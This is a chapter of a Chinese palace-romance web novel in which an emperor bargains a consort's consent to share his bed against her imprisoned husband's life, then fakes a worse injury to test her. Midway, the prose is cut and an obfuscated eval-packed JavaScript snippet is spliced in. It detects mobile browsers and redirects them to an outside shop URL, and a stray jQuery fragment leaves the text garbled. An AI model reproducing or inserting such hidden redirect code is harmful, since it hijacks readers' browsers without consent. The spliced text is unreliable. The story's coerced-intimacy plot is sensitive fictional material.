“——故意也好,顺水推舟也罢,我拿那逆贼来要挟你,做此等卑劣行径,就是为了接近你,而非推开你。我知道你听懂了,不要再反问我。”周儁道,大约是薛奕的错觉,居然听出了几分可怜,“不要让我再重复一遍。”
对于上位者而言,承认自己失败,比承认自己脆弱要难多了……他大抵是真的后悔了。
……但后悔之后呢?薛奕回过神来,发现周儁依旧定定地看着她。
她竟明白了他眼神里的意思。
就算覆水难收,就算如今的局面再怎么难堪,他周儁也不想放手。
“我……妾……”薛奕张开口,又闭上,最后终于想起来拢了拢身上的衣裙,无措道,“……你总不能指望发生了这种事后,我还……还要和你……”
“那你前些时日是怎么下定决心的?”周儁又问。
薛奕闭上了嘴。当然是因为蒲望……想到蒲望,她又克制不住地颤抖起来。
周儁显然也知道她明白过来了。
——蒲望还在牢里。处境一点儿没变。
“自入宫后,你就一直在告诉我,你们是伉俪情深的一对。我想,如果当真有感情,你就不该犹豫,只需要现在应下——”周儁漠然道。
他说得太冷心冷情,薛奕没忍住,厉声质问:“——然后呢,你难道还会留住他的命不成!”
“——我留他一命,你就愿意侍寝?”
一瞬死寂。
终于到了这一刻。所有内里的龃龉都被摊开来,暴露在光天化日之下。她不是真心仰慕帝王的娇娥,所有的小意温存都是委曲求全下的假意,而周儁更不是那个温吞良善的贤明圣主,为了情.欲,为了一己私利,他也会做出这样卑劣下作的姿态。
此间唯有算计,没有真心,谁也不愿让步。
到最后,二人僵持良久,竟是周儁先开口了。
“……就算为了他,你也不情愿,是吧?”他淡淡地笑了,终于不再看她,“也是,说到底,他毕竟也只是一个替——”
他一边说,一边起身下床。薛奕看着他的动作,猛地攥紧了手。
“——我愿意。”她突然打断周儁。
周儁的动作随之僵住。他已经背对着薛奕,看不清他的面容,半晌,只听见他深吸了一口气,低声问:
“是吗?哪怕你要光明正大地嫁给我,再也无法离开——”
“——是的。”
“——哪怕我也不会让你再见他——”
“——只要你留他一命。是的。”薛奕声音发颤,“我相信你言而有信。”
“……言而有信。”周儁重复了一遍,然后不说话了。
薛奕看着他一动不动的背影,又想到方才二人之间,与其说是欢好,不如说是纠缠撕打一般的行径,心下一痛,怕就算她这样豁出去了,也没法救下蒲望,于是闭上眼,心一横,添道:“……当然,今日是一时情急,我顾忌自己身子重,才伤了陛下。我了解的,就算是孕期,也是有法子侍寝的,下次……”
话没说完,周儁已经笑了。气笑的。
他转过身来,高大的身影几乎把殿内仅有的日光全部遮蔽,阴影落在帐内,压在薛奕的身上。
明明只是阴影,却已经足够让她喘不过气了。
“孕期行.房?你了解?他逼你了解的?”周儁一字一句地问。
薛奕有些茫然地看向他——且不说怎么兜兜转转,又说到蒲望身上去了,就单说这句问话,也来得实在好笑。刚才压着她动手动脚的不是他周儁吗……怎么,只许州官放火,不许百姓点灯?她一时失语。
然而,她不答,落到周儁眼里,却变成了另一种意思。
“好。好得很!”见她不答,他几乎咬牙切齿,“那就按你说的办!”
那一瞬间,薛奕终于看清了他的脸,然后瞪大双眼。
“……陛下!”她惊呼道。
闻言,周儁有一瞬的疑惑,大抵也是知道他自己这句话不会激起她这么强烈的惊讶,然后很快反应过来,拿手一抹嘴角——已然鲜血淋漓。
……方才薛奕咬出的伤都全没处理呢!
他心里莫名地一堵,再偷眼看薛奕那惊恐的神色,顿时计上心头。不过转眼,他就跌坐回榻边,单手撑着,先是干咳两声,然后酝酿了点血在嘴里,最后当着薛奕的面,猛地咳出一片血水!
对薛奕方才那声惊呼,可谓是相当“捧场”了。
也亏得是殿内没有点灯,乍然看过去,还真是触目惊心。何况他确实伤了,这些血,都是货真价实。
薛奕不得不信。
一时间,她又惊又怕,不顾方才二人还在激烈地争执,也不顾自己衣衫半解、见不得人的状况了,手忙脚乱地从床榻里坐起,往这边贴来,细细地查看他的伤处。周儁见她靠近,反而不敢动了,就这么任由着她胡乱用衣裙擦去下巴上的血迹,越擦越脏。
“陛下方才不是说话没有大碍吗,怎么突然就……”薛奕颤声道。
这种时候,她一下子想起入宫时那几个因为伤了先帝而丢了性命的宫妃。虽然周儁不比先帝暴戾,可那些宫妃也不像她一样,胆敢在皇帝身上咬了一口接一口。
人说咬舌自尽、咬舌自尽。既然能自尽,那么咬旁人的舌,或许也是有性命之忧的。
……周儁应当不会被她咬死吧!
“……这会儿知道怕了。”周儁凉凉地说,又瞥了她递到他眼前的、裸.露的肩头,挪开了视线,语气突然干涩起来,“不严重,拿药来处理就行。”
“那妾让他们去传太医令。”薛奕忙道,她急急地从床上下来,险些跌了一跤,还是被周儁大手一伸,揽了回来。
“把外袍先穿上。我还死不了。”周儁轻声道。
薛奕眨了眨眼睛,终于想起来,又手忙脚乱地从周儁怀里挣脱,去穿衣裙。
而周儁,一边摩挲着指节上的伤处,一边目不转睛地看着她方寸大乱的模样。
等她忙乱间把他的龙袍都全披上身了,他反而终于镇定起来,笑了笑,漫不经心地说:
“……也不必传太医署的人了,让梁简进来就行。”
“这怎么行!”薛奕下意识地反驳,一想到自己有可能会成为周儁的死因,甚至因此“名留青史”,她便容不得一点差错,自然是也顾不得自己反驳的人就是皇帝本人了。
这还是周儁头一回见她真正疾言厉色……为他疾言厉色。他被驳了,却没有一点不悦,只继续紧紧看着薛奕,不自觉地说:
“……看来你也怕我死。”
“妾与陛下的怨是私怨,不该殃及性命。妾不像陛下,孰是孰非,妾分得清楚。”薛奕冷声回道。
周儁自然没料到这个回答。
方才那点沉迷一下清醒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423897|200842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来,见她果真要打算出去了,他才有些不情愿地开口:
“……真没事。让梁简带药来就行了。”
薛奕回头看他,两只眼睛瞪得圆极了,一点儿没信:“梁简能懂什么药理?”
“他当然不懂!让他带药来,不是让他帮忙上药。”周儁无奈地说,“闹成这样,太医署的人再一来,你觉得宫中流言还能止住吗?又或你想我杀几个人,来堵他们的嘴?”
谈及人命,薛奕心中一凛,还真被说服了。
不过她心中戒心不改,又警惕地看了看周儁,还是不愿再靠近他,只小声道:
“……我也不懂!你可别指望我帮你上药……”
周儁一愣,终于乐了,眉眼缓缓舒展开来:“还用你说?当然是我自己上药了。”
薛奕看他面色不似作伪,终于勉为其难地点头了:
“好吧!”
说罢,便转头要出去唤人。
周儁看着她背影笑了笑,然后,不等她急急地推门出去,便扬声道:“——梁简!滚哪去了!”
外间立刻传来梁简的回话。
——皇帝叫人,当然是不必亲自出门的。
合着周儁同她争执这么半天,根本就是在逗她玩罢了。薛奕很快反应过来,瞪了周儁一眼。
周儁似乎本来还想跟她斗斗嘴,但梁简很快进来,于是他也一同装起了锯嘴葫芦。
满室都是血腥味,在梁简这个老狐狸都克制不住的震惊的目光下,周儁却丝毫没露出端倪,只快速吩咐好该取什么,命梁简快去快回。
转眼,梁简匆匆忙忙地走了,内室又只剩他们二人。
……刚谈好了以后要心甘情愿“侍寝”的二人。
考虑到此,薛奕违心地开口。“还有没有什么妾能帮得上忙的……”
“真不必。”周儁立刻道,“此间血腥味重,你先出去吧。”
薛奕虽然看似温吞、不谙世事的,可那双眼睛却灵巧极了——谁知道她多留片刻,会不会发觉他方才为了诈她吐出的那一摊血,其中究竟有多少“水分”?
——
一出门,骆英便急急迎了过来。
“可是发生了什么?”
薛奕终于得见天光,先是一阵晃神,然后才摆摆手,有些疲惫地道:“无事……”
再怎么紧急,事情也都过去了,再同骆英抱怨,那就是徒增烦恼了。
何况宫中人心向背,本来也不全是靠情谊维系的。有些事,骆英不知道,反而更好。
如同骆英早先不同她说,是一样的道理。
但,她不说,向来做事比她妥帖十二分的骆英却没能忍住。
“……其实陛下晌午回过一趟。就在夫人去参加宫宴的时候。”骆英道,当着四周宫人的面,把声音压得极低,语气几欲发抖,“翻出了夫人带进宫的袍子,然后……烧了。”
“我带进宫的袍子?烧了?”薛奕一愣。
一件什么样的袍子,才能致使周儁发这么大的火,要把它当场烧了,乃至于变相引发后面装醉的闹剧——
当日她进宫,明明什么行装也没有带。所谓带进宫的袍子,当然只有那日随手搭在身上的,上面由她亲手细细绣上了“望”字的袍子。
她终于反应过来,一阵后怕。
——周儁如此震怒,今日还能平和收场,实在是她虎口逃生了。